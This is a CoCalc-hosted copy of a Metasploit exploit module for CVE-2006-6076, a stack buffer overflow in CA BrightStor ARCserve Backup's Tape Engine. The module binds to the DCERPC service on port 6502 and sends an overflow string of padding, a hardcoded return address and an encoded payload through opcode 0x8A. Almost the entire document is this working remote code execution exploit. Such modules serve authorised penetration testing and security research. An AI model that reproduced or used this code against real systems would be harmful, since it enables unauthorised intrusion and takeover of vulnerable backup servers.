Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/tape_engine_0x8a.rb
33397 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
18
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
19
the buffer and execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2006-6076' ],
25
[ 'OSVDB', '68330'],
26
[ 'URL', 'http://www.metasploit.com/users/mc' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 500,
34
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],
40
],
41
'DisclosureDate' => '2010-10-04',
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options([ Opt::RPORT(6502) ])
52
end
53
54
def exploit
55
connect
56
57
handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
58
print_status("Binding to #{handle} ...")
59
60
dcerpc_bind(handle)
61
print_status("Bound to #{handle} ...")
62
63
request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
64
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
65
66
dcerpc.call(0x2B, request)
67
68
sploit = NDR.long(4)
69
sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")
70
71
print_status("Trying target #{target.name}...")
72
73
begin
74
dcerpc_call(0x8A, sploit)
75
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
76
end
77
78
handler
79
disconnect
80
end
81
82
end
83
=begin
84
/* opcode: 0x8A, address: 0x100707D0 */
85
86
long sub_100707D0 (
87
[in] handle_t arg_1,
88
[in] long arg_2,
89
[in][ref][string] char * arg_3
90
);
91
=end
92
93